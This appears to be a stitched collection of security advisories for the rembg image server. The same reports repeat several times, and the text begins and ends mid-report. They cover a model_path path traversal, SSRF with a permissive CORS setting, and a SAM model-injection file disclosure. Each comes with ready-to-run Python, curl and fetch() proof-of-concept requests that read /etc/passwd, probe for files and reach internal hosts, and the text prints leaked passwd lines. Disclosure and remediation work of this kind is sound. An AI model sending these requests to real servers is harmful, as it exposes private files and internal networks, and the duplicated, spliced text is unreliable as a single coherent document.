The custom model feature was designed for CLI usage where users already have local filesystem access. However, this feature is also exposed via the HTTP API without any restrictions, creating a security boundary violation.

PoC

Prerequisites

• Python 3.10+
• rembg installed with CLI support: pip install "rembg[cpu,cli]"

Step 1: Start the Vulnerable Server

Open a terminal and run:

rembg s --host 0.0.0.0 --port 7000

You should see output like:

To access the API documentation, go to http://localhost:7000/api
To access the UI, go to http://localhost:7000

Step 2: Send the Exploit Request

Open a second terminal and run this Python script:

import requests
import json
import urllib.parse
from io import BytesIO

# Minimal valid 1x1 PNG image (required for the request)
MINIMAL_PNG = bytes([
    0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A,
    0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52,
    0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01,
    0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53,
    0xDE, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41,
    0x54, 0x08, 0xD7, 0x63, 0xF8, 0xFF, 0xFF, 0x3F,
    0x00, 0x05, 0xFE, 0x02, 0xFE, 0xDC, 0xCC, 0x59,
    0xE7, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E,
    0x44, 0xAE, 0x42, 0x60, 0x82
])

# Target paths to test
test_paths = [
    "/etc/passwd",           # System file (should exist)
    "/nonexistent/file.txt", # Non-existent file
]

for path in test_paths:
    print(f"\n[*] Testing path: {path}")
    
    # Build request - extras must be in URL query string
    extras = json.dumps({"model_path": path})
    url = f"http://localhost:7000/api/remove?extras={urllib.parse.quote(extras)}"
    
    response = requests.post(
        url,
        files={"file": ("test.png", BytesIO(MINIMAL_PNG), "image/png")},
        data={"model": "u2net_custom"},
        timeout=30
    )
    
    print(f"    Status: {response.status_code}")
    print(f"    Response: {response.text[:100]}")

Or use curl directly:

# Create a minimal PNG file
python3 -c "import sys; sys.stdout.buffer.write(bytes([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D,0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x08,0x02,0x00,0x00,0x00,0x90,0x77,0x53,0xDE,0x00,0x00,0x00,0x0C,0x49,0x44,0x41,0x54,0x08,0xD7,0x63,0xF8,0xFF,0xFF,0x3F,0x00,0x05,0xFE,0x02,0xFE,0xDC,0xCC,0x59,0xE7,0x00,0x00,0x00,0x00,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82]))" > /tmp/test.png

# Send exploit request targeting /etc/passwd
curl -X POST 'http://localhost:7000/api/remove?extras=%7B%22model_path%22%3A%22%2Fetc%2Fpasswd%22%7D' \
  -F "model=u2net_custom" \
  -F "file=@/tmp/test.png"

Step 3: Verify in Server Logs

Go back to the first terminal where the server is running. You will see error messages like:

onnxruntime.capi.onnxruntime_pybind11_state.InvalidProtobuf: 
[ONNXRuntimeError] : 7 : INVALID_PROTOBUF : Load model from /etc/passwd failed:Protobuf parsing failed.

onnxruntime.capi.onnxruntime_pybind11_state.NoSuchFile: 
[ONNXRuntimeError] : 3 : NO_SUCHFILE : Load model from /nonexistent/file.txt failed. File doesn't exist

Understanding the Results

| Server Log Message | What It Proves | |-------------------|----------------| | Load model from /etc/passwd failed:Protobuf parsing failed | ✅ File exists and was read by onnxruntime | | Load model from /etc/shadow failed:Permission denied | ✅ File exists but process lacks permission | | Load model from /nonexistent/... failed. File doesn't exist | ✅ File does not exist - enables enumeration |

The key proof: The message "Load model from /etc/passwd failed:Protobuf parsing failed" proves that:

1. The attacker-controlled path was passed through without validation
2. onnxruntime.InferenceSession() attempted to read the file contents
3. The file was read but rejected because /etc/passwd is not a valid ONNX protobuf

Impact

Who is Affected?

• All users running rembg s (HTTP server mode)
• Cloud deployments where rembg is exposed as an API service
• Docker containers running rembg server

Attack Scenarios

1. Information Disclosure: Attacker enumerates sensitive files (/etc/passwd, .env, config files)
2. Credential Discovery: Attacker checks for common credential files
3. Infrastructure Mapping: Attacker discovers installed software and system configuration
4. Denial of Service: Attacker attempts to load very large files, exhausting memory

What is NOT Affected?

• CLI usage (rembg i, rembg p) - users already have local file access
• Library usage - developers control the input

Recommended Fix

Option 1: Disable Custom Models for HTTP API (Recommended)

Remove custom model types from the HTTP API session list:

# In s_command.py, filter out custom models
ALLOWED_HTTP_MODELS = [
    name for name in sessions_names 
    if not name.endswith('_custom')
]

# Use ALLOWED_HTTP_MODELS in the model parameter regex
model: str = Query(
    regex=r"(" + "|".join(ALLOWED_HTTP_MODELS) + ")",
    default="u2net",
)

Option 2: Validate model_path Against Allowlist

If custom models must be supported via HTTP:

import os

ALLOWED_MODEL_DIRS = [
    os.path.expanduser("~/.u2net"),
    "/app/models",  # or your designated model directory
]

def validate_model_path(path: str) -> str:
    """Validate model path is within allowed directories."""
    abs_path = os.path.abspath(os.path.expanduser(path))
    
    for allowed_dir in ALLOWED_MODEL_DIRS:
        allowed_abs = os.path.abspath(allowed_dir)
        if abs_path.startswith(allowed_abs + os.sep):
            return abs_path
    
    raise ValueError(f"model_path must be within allowed directories")

Option 3: Document Security Considerations

At minimum, add security warnings to the documentation:

⚠️ **Security Warning**: When running `rembg s` in production:
- Do NOT expose the server directly to the internet
- Use a reverse proxy with authentication
- Consider disabling custom model support

References

• CWE-22: Improper Limitation of a Pathname to a Restricted Directory
• CWE-73: External Control of File Name or Path
• OWASP Path Traversal: Path Traversal Attack

The public /api/remove endpoint uses attacker-controlled extras.sam_model in both SAM filenames and GitHub download URLs. Path traversal plus a URL fragment lets an unauthenticated attacker place malicious ONNX models beside a target file. The models read the file as ONNX external data and encode its bytes into the returned PNG.

This issue affects SAM's sam_model in 2.0.81 and returns complete file contents.

Screenshot 1 — First unauthenticated request primes the path and returns HTTP 500.

Technical details

rembg/commands/s_command.py:188-223,384-397 accepts public extras JSON and passes it to new_session(). rembg/sessions/sam.py:313-355 inserts sam_model into encoder/decoder filenames and fixed GitHub URLs, then invokes pooch.retrieve() without a pinned hash.

Requests removes the URL #fragment; the local POSIX path retains it. Pooch creates attacker-selected parent directories without enforcing cache containment. The first request creates the path tree and returns HTTP 500. The identical second request downloads the attacker asset twice and stores it as both SAM models beside the target.

The graph uses a relative external tensor to read the target and maps every byte to mask pixels. rembg returns the mask as a PNG, which the attacker decodes back into the original bytes.

Screenshot 2 — The identical second request returns HTTP 200 with an encoded PNG.

Proof of concept

The attached loopback-only PoC produced:

VULNERABLE: unauthenticated SAM model injection disclosed the synthetic /flag
first-http=500 second-http=200
decoded-value=REMBG_AUDIT_SYNTHETIC_FLAG_2026_08_28

The /etc/passwd variant produced:

VULNERABLE: disclosed /etc/passwd (839 bytes)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

The decoded contents matched /etc/passwd inside the owned container. Testing used a local TLS stand-in for GitHub; no public target was contacted.

Screenshot 3 — The decoder reconstructs all 839 bytes of /etc/passwd.

Impact

An unauthenticated attacker can execute arbitrary ONNX computation and disclose complete files that rembg can reach under the required filesystem permissions. The supplied root-running container exposed both /flag and /etc/passwd.

Remediation

Allow only fixed SAM identifiers mapped server-side to fixed filenames, URLs, and pinned hashes. Reject path and URL syntax; canonicalize destinations and enforce cache containment before creating directories. Run the container as a non-root user with a read-only root filesystem.

decode_samfragment_png.py samfragment_04.py samfragment_etc_passwd_lab.py

GitHub Security Lab (GHSL) Vulnerability Report, rembg: GHSL-2024-161, GHSL-2024-162

The GitHub Security Lab team has identified potential security vulnerabilities in rembg.

We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.

If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at securitylab@github.com (please include GHSL-2024-161 or GHSL-2024-162 as a reference). See also this blog post written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure.

If you are NOT the correct point of contact for this report, please let us know!

Summary

rembg server is vulnerable to Server-Side Request Forgery (SSRF) and a weak default CORS configuration, which may allow an attacker website to send requests to servers on the internal network and view image responses.

Project

rembg

Tested Version

v2.0.57

Details

Issue 1: SSRF via /api/remove (GHSL-2024-161)

The /api/remove endpoint takes a URL query parameter that allows an image to be fetched, processed and returned. An attacker may be able to query this endpoint to view pictures hosted on the internal network of the rembg server.

 async def get_index(
        url: str = Query(
            default=..., description="URL of the image that has to be processed."
        ),
        commons: CommonQueryParams = Depends(),
    ):
        async with aiohttp.ClientSession() as session:
            async with session.get(url) as response:
                file = await response.read()
                return await asyncify(im_without_bg)(file, commons)

Impact

This issue may lead to Information Disclosure.

Remediation

Ensure that the IP address specified is not a local address. If resolving a domain name, ensure that the resolved IP address is not local.

Proof of Concept

curl -s "http://localhost:7000/api/remove?url=http://0.0.0.0/secret.png" -o output.png

Issue 2: CORS misconfiguration (GHSL-2024-162)

The following CORS middleware is setup incorrectly. All origins are reflected, which allows any website to send cross site requests to the rembg server and thus query any API. Even if authentication were to be enabled, allow_credentials is set to True, which would allow any website to send authenticated cross site requests.

    app.add_middleware(
        CORSMiddleware,
        allow_credentials=True,
        allow_origins=["*"],
        allow_methods=["*"],
        allow_headers=["*"],
    )

Impact

This issue may increase the severity of other vulnerabilities.

Remediation

Create an allowlist of specific endpoints that can send cross site requests to the rembg server.

Proof of Concept

An attacker website can host the following code:

const response = await fetch("http://localhost:7000/api/remove?url=https://0.0.0.0/secret.jpg");

If a victim running rembg server were to access the attacker website, the attacker website could read the file secret.jpg from the server hosted on the victim's internal network.

GitHub Security Advisories

We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.

Credit

These issues were discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-161 or GHSL-2024-162 in any communication regarding these issues.

Disclosure Policy

This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.

Summary

A path traversal vulnerability in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious model_path parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages.

CWE IDs: CWE-22 (Path Traversal), CWE-73 (External Control of File Name or Path)

Details

Vulnerable Code Flow

The vulnerability exists in how the HTTP server handles the extras JSON parameter for custom model types (u2net_custom, dis_custom, ben_custom).

1. Entry Point - rembg/commands/s_command.py

def im_without_bg(content: bytes, commons: CommonQueryParams) -> Response:
    kwargs = {}
    if commons.extras:
        try:
            kwargs.update(json.loads(commons.extras))  # ❌ No validation
        except Exception:
            pass
    # ...
    session = new_session(commons.model, **kwargs)  # Passes arbitrary kwargs

The extras parameter is parsed as JSON and passed directly to new_session() without any validation.

2. Path Handling - rembg/sessions/u2net_custom.py

@classmethod
def download_models(cls, *args, **kwargs):
    model_path = kwargs.get("model_path")
    if model_path is None:
        raise ValueError("model_path is required")
    return os.path.abspath(os.path.expanduser(model_path))  # ❌ No path validation

The model_path is returned with tilde expansion but no validation against path traversal.

3. File Read - rembg/sessions/base.py

self.inner_session = ort.InferenceSession(
    str(self.__class__.download_models(*args, **kwargs)),  # Reads file
    # ...
)

The path is passed to onnxruntime.InferenceSession() which attempts to read and parse the file.

Root Cause

The custom model feature was designed for CLI usage where users already have local filesystem access. However, this feature is also exposed via the HTTP API without any restrictions, creating a security boundary violation.

PoC

Prerequisites

• Python 3.10+
• rembg installed with CLI support: pip install "rembg[cpu,cli]"

Step 1: Start the Vulnerable Server

Open a terminal and run:

rembg s --host 0.0.0.0 --port 7000

You should see output like:

To access the API documentation, go to http://localhost:7000/api
To access the UI, go to http://localhost:7000

Step 2: Send the Exploit Request

Open a second terminal and run this Python script:

import requests
import json
import urllib.parse
from io import BytesIO

# Minimal valid 1x1 PNG image (required for the request)
MINIMAL_PNG = bytes([
    0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A,
    0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52,
    0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01,
    0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53,
    0xDE, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41,
    0x54, 0x08, 0xD7, 0x63, 0xF8, 0xFF, 0xFF, 0x3F,
    0x00, 0x05, 0xFE, 0x02, 0xFE, 0xDC, 0xCC, 0x59,
    0xE7, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E,
    0x44, 0xAE, 0x42, 0x60, 0x82
])

# Target paths to test
test_paths = [
    "/etc/passwd",           # System file (should exist)
    "/nonexistent/file.txt", # Non-existent file
]

for path in test_paths:
    print(f"\n[*] Testing path: {path}")
    
    # Build request - extras must be in URL query string
    extras = json.dumps({"model_path": path})
    url = f"http://localhost:7000/api/remove?extras={urllib.parse.quote(extras)}"
    
    response = requests.post(
        url,
        files={"file": ("test.png", BytesIO(MINIMAL_PNG), "image/png")},
        data={"model": "u2net_custom"},
        timeout=30
    )
    
    print(f"    Status: {response.status_code}")
    print(f"    Response: {response.text[:100]}")

Or use curl directly:

# Create a minimal PNG file
python3 -c "import sys; sys.stdout.buffer.write(bytes([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D,0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x08,0x02,0x00,0x00,0x00,0x90,0x77,0x53,0xDE,0x00,0x00,0x00,0x0C,0x49,0x44,0x41,0x54,0x08,0xD7,0x63,0xF8,0xFF,0xFF,0x3F,0x00,0x05,0xFE,0x02,0xFE,0xDC,0xCC,0x59,0xE7,0x00,0x00,0x00,0x00,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82]))" > /tmp/test.png

# Send exploit request targeting /etc/passwd
curl -X POST 'http://localhost:7000/api/remove?extras=%7B%22model_path%22%3A%22%2Fetc%2Fpasswd%22%7D' \
  -F "model=u2net_custom" \
  -F "file=@/tmp/test.png"

Step 3: Verify in Server Logs

Go back to the first terminal where the server is running. You will see error messages like:

onnxruntime.capi.onnxruntime_pybind11_state.InvalidProtobuf: 
[ONNXRuntimeError] : 7 : INVALID_PROTOBUF : Load model from /etc/passwd failed:Protobuf parsing failed.

onnxruntime.capi.onnxruntime_pybind11_state.NoSuchFile: 
[ONNXRuntimeError] : 3 : NO_SUCHFILE : Load model from /nonexistent/file.txt failed. File doesn't exist

Understanding the Results

| Server Log Message | What It Proves | |-------------------|----------------| | Load model from /etc/passwd failed:Protobuf parsing failed | ✅ File exists and was read by onnxruntime | | Load model from /etc/shadow failed:Permission denied | ✅ File exists but process lacks permission | | Load model from /nonexistent/... failed. File doesn't exist | ✅ File does not exist - enables enumeration |

The key proof: The message "Load model from /etc/passwd failed:Protobuf parsing failed" proves that:

1. The attacker-controlled path was passed through without validation
2. onnxruntime.InferenceSession() attempted to read the file contents
3. The file was read but rejected because /etc/passwd is not a valid ONNX protobuf

Impact

Who is Affected?

• All users running rembg s (HTTP server mode)
• Cloud deployments where rembg is exposed as an API service
• Docker containers running rembg server

Attack Scenarios

1. Information Disclosure: Attacker enumerates sensitive files (/etc/passwd, .env, config files)
2. Credential Discovery: Attacker checks for common credential files
3. Infrastructure Mapping: Attacker discovers installed software and system configuration
4. Denial of Service: Attacker attempts to load very large files, exhausting memory

What is NOT Affected?

• CLI usage (rembg i, rembg p) - users already have local file access
• Library usage - developers control the input

Recommended Fix

Option 1: Disable Custom Models for HTTP API (Recommended)

Remove custom model types from the HTTP API session list:

# In s_command.py, filter out custom models
ALLOWED_HTTP_MODELS = [
    name for name in sessions_names 
    if not name.endswith('_custom')
]

# Use ALLOWED_HTTP_MODELS in the model parameter regex
model: str = Query(
    regex=r"(" + "|".join(ALLOWED_HTTP_MODELS) + ")",
    default="u2net",
)

Option 2: Validate model_path Against Allowlist

If custom models must be supported via HTTP:

import os

ALLOWED_MODEL_DIRS = [
    os.path.expanduser("~/.u2net"),
    "/app/models",  # or your designated model directory
]

def validate_model_path(path: str) -> str:
    """Validate model path is within allowed directories."""
    abs_path = os.path.abspath(os.path.expanduser(path))
    
    for allowed_dir in ALLOWED_MODEL_DIRS:
        allowed_abs = os.path.abspath(allowed_dir)
        if abs_path.startswith(allowed_abs + os.sep):
            return abs_path
    
    raise ValueError(f"model_path must be within allowed directories")

Option 3: Document Security Considerations

At minimum, add security warnings to the documentation:

⚠️ **Security Warning**: When running `rembg s` in production:
- Do NOT expose the server directly to the internet
- Use a reverse proxy with authentication
- Consider disabling custom model support

References

• CWE-22: Improper Limitation of a Pathname to a Restricted Directory
• CWE-73: External Control of File Name or Path
• OWASP Path Traversal: Path Traversal Attack

The public /api/remove endpoint uses attacker-controlled extras.sam_model in both SAM filenames and GitHub download URLs. Path traversal plus a URL fragment lets an unauthenticated attacker place malicious ONNX models beside a target file. The models read the file as ONNX external data and encode its bytes into the returned PNG.

This issue affects SAM's sam_model in 2.0.81 and returns complete file contents.

Screenshot 1 — First unauthenticated request primes the path and returns HTTP 500.

Technical details

rembg/commands/s_command.py:188-223,384-397 accepts public extras JSON and passes it to new_session(). rembg/sessions/sam.py:313-355 inserts sam_model into encoder/decoder filenames and fixed GitHub URLs, then invokes pooch.retrieve() without a pinned hash.

Requests removes the URL #fragment; the local POSIX path retains it. Pooch creates attacker-selected parent directories without enforcing cache containment. The first request creates the path tree and returns HTTP 500. The identical second request downloads the attacker asset twice and stores it as both SAM models beside the target.

The graph uses a relative external tensor to read the target and maps every byte to mask pixels. rembg returns the mask as a PNG, which the attacker decodes back into the original bytes.

Screenshot 2 — The identical second request returns HTTP 200 with an encoded PNG.

Proof of concept

The attached loopback-only PoC produced:

VULNERABLE: unauthenticated SAM model injection disclosed the synthetic /flag
first-http=500 second-http=200
decoded-value=REMBG_AUDIT_SYNTHETIC_FLAG_2026_08_28

The /etc/passwd variant produced:

VULNERABLE: disclosed /etc/passwd (839 bytes)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

The decoded contents matched /etc/passwd inside the owned container. Testing used a local TLS stand-in for GitHub; no public target was contacted.

Screenshot 3 — The decoder reconstructs all 839 bytes of /etc/passwd.

Impact

An unauthenticated attacker can execute arbitrary ONNX computation and disclose complete files that rembg can reach under the required filesystem permissions. The supplied root-running container exposed both /flag and /etc/passwd.

Remediation

Allow only fixed SAM identifiers mapped server-side to fixed filenames, URLs, and pinned hashes. Reject path and URL syntax; canonicalize destinations and enforce cache containment before creating directories. Run the container as a non-root user with a read-only root filesystem.

decode_samfragment_png.py samfragment_04.py samfragment_etc_passwd_lab.py

GitHub Security Lab (GHSL) Vulnerability Report, rembg: GHSL-2024-161, GHSL-2024-162

The GitHub Security Lab team has identified potential security vulnerabilities in rembg.

We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.

If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at securitylab@github.com (please include GHSL-2024-161 or GHSL-2024-162 as a reference). See also this blog post written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure.

If you are NOT the correct point of contact for this report, please let us know!

Summary

rembg server is vulnerable to Server-Side Request Forgery (SSRF) and a weak default CORS configuration, which may allow an attacker website to send requests to servers on the internal network and view image responses.

Project

rembg

Tested Version

v2.0.57

Details

Issue 1: SSRF via /api/remove (GHSL-2024-161)

The /api/remove endpoint takes a URL query parameter that allows an image to be fetched, processed and returned. An attacker may be able to query this endpoint to view pictures hosted on the internal network of the rembg server.

 async def get_index(
        url: str = Query(
            default=..., description="URL of the image that has to be processed."
        ),
        commons: CommonQueryParams = Depends(),
    ):
        async with aiohttp.ClientSession() as session:
            async with session.get(url) as response:
                file = await response.read()
                return await asyncify(im_without_bg)(file, commons)

Impact

This issue may lead to Information Disclosure.

Remediation

Ensure that the IP address specified is not a local address. If resolving a domain name, ensure that the resolved IP address is not local.

Proof of Concept

curl -s "http://localhost:7000/api/remove?url=http://0.0.0.0/secret.png" -o output.png

Issue 2: CORS misconfiguration (GHSL-2024-162)

The following CORS middleware is setup incorrectly. All origins are reflected, which allows any website to send cross site requests to the rembg server and thus query any API. Even if authentication were to be enabled, allow_credentials is set to True, which would allow any website to send authenticated cross site requests.

    app.add_middleware(
        CORSMiddleware,
        allow_credentials=True,
        allow_origins=["*"],
        allow_methods=["*"],
        allow_headers=["*"],
    )

Impact

This issue may increase the severity of other vulnerabilities.

Remediation

Create an allowlist of specific endpoints that can send cross site requests to the rembg server.

Proof of Concept

An attacker website can host the following code:

const response = await fetch("http://localhost:7000/api/remove?url=https://0.0.0.0/secret.jpg");

If a victim running rembg server were to access the attacker website, the attacker website could read the file secret.jpg from the server hosted on the victim's internal network.

GitHub Security Advisories

We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.

Credit

These issues were discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-161 or GHSL-2024-162 in any communication regarding these issues.

Disclosure Policy

This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.

Summary

A path traversal vulnerability in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious model_path parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages.

CWE IDs: CWE-22 (Path Traversal), CWE-73 (External Control of File Name or Path)

Details

Vulnerable Code Flow

The vulnerability exists in how the HTTP server handles the extras JSON parameter for custom model types (u2net_custom, dis_custom, ben_custom).

1. Entry Point - rembg/commands/s_command.py

def im_without_bg(content: bytes, commons: CommonQueryParams) -> Response:
    kwargs = {}
    if commons.extras:
        try:
            kwargs.update(json.loads(commons.extras))  # ❌ No validation
        except Exception:
            pass
    # ...
    session = new_session(commons.model, **kwargs)  # Passes arbitrary kwargs

The extras parameter is parsed as JSON and passed directly to new_session() without any validation.

2. Path Handling - rembg/sessions/u2net_custom.py

@classmethod
def download_models(cls, *args, **kwargs):
    model_path = kwargs.get("model_path")
    if model_path is None:
        raise ValueError("model_path is required")
    return os.path.abspath(os.path.expanduser(model_path))  # ❌ No path validation

The model_path is returned with tilde expansion but no validation against path traversal.

3. File Read - rembg/sessions/base.py

self.inner_session = ort.InferenceSession(
    str(self.__class__.download_models(*args, **kwargs)),  # Reads file
    # ...
)

The path is passed to onnxruntime.InferenceSession() which attempts to read and parse the file.

Root Cause

The custom model feature was designed for CLI usage where users already have local filesystem access. However, this feature is also exposed via the HTTP API without any restrictions, creating a security boundary violation.

PoC

Prerequisites

• Python 3.10+
• rembg installed with CLI support: pip install "rembg[cpu,cli]"

Step 1: Start the Vulnerable Server

Open a terminal and run:

rembg s --host 0.0.0.0 --port 7000

You should see output like:

To access the API documentation, go to http://localhost:7000/api
To access the UI, go to http://localhost:7000

Step 2: Send the Exploit Request

Open a second terminal and run this Python script:

import requests
import json
import urllib.parse
from io import BytesIO

# Minimal valid 1x1 PNG image (required for the request)
MINIMAL_PNG = bytes([
    0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A,
    0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52,
    0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01,
    0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53,
    0xDE, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41,
    0x54, 0x08, 0xD7, 0x63, 0xF8, 0xFF, 0xFF, 0x3F,
    0x00, 0x05, 0xFE, 0x02, 0xFE, 0xDC, 0xCC, 0x59,
    0xE7, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E,
    0x44, 0xAE, 0x42, 0x60, 0x82
])

# Target paths to test
test_paths = [
    "/etc/passwd",           # System file (should exist)
    "/nonexistent/file.txt", # Non-existent file
]

for path in test_paths:
    print(f"\n[*] Testing path: {path}")
    
    # Build request - extras must be in URL query string
    extras = json.dumps({"model_path": path})
    url = f"http://localhost:7000/api/remove?extras={urllib.parse.quote(extras)}"
    
    response = requests.post(
        url,
        files={"file": ("test.png", BytesIO(MINIMAL_PNG), "image/png")},
        data={"model": "u2net_custom"},
        timeout=30
    )
    
    print(f"    Status: {response.status_code}")
    print(f"    Response: {response.text[:100]}")

Or use curl directly:

# Create a minimal PNG file
python3 -c "import sys; sys.stdout.buffer.write(bytes([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D,0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x08,0x02,0x00,0x00,0x00,0x90,0x77,0x53,0xDE,0x00,0x00,0x00,0x0C,0x49,0x44,0x41,0x54,0x08,0xD7,0x63,0xF8,0xFF,0xFF,0x3F,0x00,0x05,0xFE,0x02,0xFE,0xDC,0xCC,0x59,0xE7,0x00,0x00,0x00,0x00,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82]))" > /tmp/test.png

# Send exploit request targeting /etc/passwd
curl -X POST 'http://localhost:7000/api/remove?extras=%7B%22model_path%22%3A%22%2Fetc%2Fpasswd%22%7D' \
  -F "model=u2net_custom" \
  -F "file=@/tmp/test.png"

Step 3: Verify in Server Logs

Go back to the first terminal where the server is running. You will see error messages like:

onnxruntime.capi.onnxruntime_pybind11_state.InvalidProtobuf: 
[ONNXRuntimeError] : 7 : INVALID_PROTOBUF : Load model from /etc/passwd failed:Protobuf parsing failed.

onnxruntime.capi.onnxruntime_pybind11_state.NoSuchFile: 
[ONNXRuntimeError] : 3 : NO_SUCHFILE : Load model from /nonexistent/file.txt failed. File doesn't exist

Understanding the Results

| Server Log Message | What It Proves | |-------------------|----------------| | Load model from /etc/passwd failed:Protobuf parsing failed | ✅ File exists and was read by onnxruntime | | Load model from /etc/shadow failed:Permission denied | ✅ File exists but process lacks permission | | Load model from /nonexistent/... failed. File doesn't exist | ✅ File does not exist - enables enumeration |

The key proof: The message "Load model from /etc/passwd failed:Protobuf parsing failed" proves that:

1. The attacker-controlled path was passed through without validation
2. onnxruntime.InferenceSession() attempted to read the file contents
3. The file was read but rejected because /etc/passwd is not a valid ONNX protobuf

Impact

Who is Affected?

• All users running rembg s (HTTP server mode)
• Cloud deployments where rembg is exposed as an API service
• Docker containers running rembg server

Attack Scenarios

1. Information Disclosure: Attacker enumerates sensitive files (/etc/passwd, .env, config files)
2. Credential Discovery: Attacker checks for common credential files
3. Infrastructure Mapping: Attacker discovers installed software and system configuration
4. Denial of Service: Attacker attempts to load very large files, exhausting memory

What is NOT Affected?

• CLI usage (rembg i, rembg p) - users already have local file access
• Library usage - developers control the input

Recommended Fix

Option 1: Disable Custom Models for HTTP API (Recommended)

Remove custom model types from the HTTP API session list:

# In s_command.py, filter out custom models
ALLOWED_HTTP_MODELS = [
    name for name in sessions_names 
    if not name.endswith('_custom')
]

# Use ALLOWED_HTTP_MODELS in the model parameter regex
model: str = Query(
    regex=r"(" + "|".join(ALLOWED_HTTP_MODELS) + ")",
    default="u2net",
)

Option 2: Validate model_path Against Allowlist

If custom models must be supported via HTTP:

import os

ALLOWED_MODEL_DIRS = [
    os.path.expanduser("~/.u2net"),
    "/app/models",  # or your designated model directory
]

def validate_model_path(path: str) -> str:
    """Validate model path is within allowed directories."""
    abs_path = os.path.abspath(os.path.expanduser(path))
    
    for allowed_dir in ALLOWED_MODEL_DIRS:
        allowed_abs = os.path.abspath(allowed_dir)
        if abs_path.startswith(allowed_abs + os.sep):
            return abs_path
    
    raise ValueError(f"model_path must be within allowed directories")

Option 3: Document Security Considerations

At minimum, add security warnings to the documentation:

⚠️ **Security Warning**: When running `rembg s` in production:
- Do NOT expose the server directly to the internet
- Use a reverse proxy with authentication
- Consider disabling custom model support

References

• CWE-22: Improper Limitation of a Pathname to a Restricted Directory
• CWE-73: External Control of File Name or Path
• OWASP Path Traversal: Path Traversal Attack

The public /api/remove endpoint uses attacker-controlled extras.sam_model in both SAM filenames and GitHub download URLs. Path traversal plus a URL fragment lets an unauthenticated attacker place malicious ONNX models beside a target file. The models read the file as ONNX external data and encode its bytes into the returned PNG.

This issue affects SAM's sam_model in 2.0.81 and returns complete file contents.

Screenshot 1 — First unauthenticated request primes the path and returns HTTP 500.

Technical details

rembg/commands/s_command.py:188-223,384-397 accepts public extras JSON and passes it to new_session(). rembg/sessions/sam.py:313-355 inserts sam_model into encoder/decoder filenames and fixed GitHub URLs, then invokes pooch.retrieve() without a pinned hash.

Requests removes the URL #fragment; the local POSIX path retains it. Pooch creates attacker-selected parent directories without enforcing cache containment. The first request creates the path tree and returns HTTP 500. The identical second request downloads the attacker asset twice and stores it as both SAM models beside the target.

The graph uses a relative external tensor to read the target and maps every byte to mask pixels. rembg returns the mask as a PNG, which the attacker decodes back into the original bytes.

Screenshot 2 — The identical second request returns HTTP 200 with an encoded PNG.

Proof of concept

The attached loopback-only PoC produced:

VULNERABLE: unauthenticated SAM model injection disclosed the synthetic /flag
first-http=500 second-http=200
decoded-value=REMBG_AUDIT_SYNTHETIC_FLAG_2026_08_28

The /etc/passwd variant produced:

VULNERABLE: disclosed /etc/passwd (839 bytes)
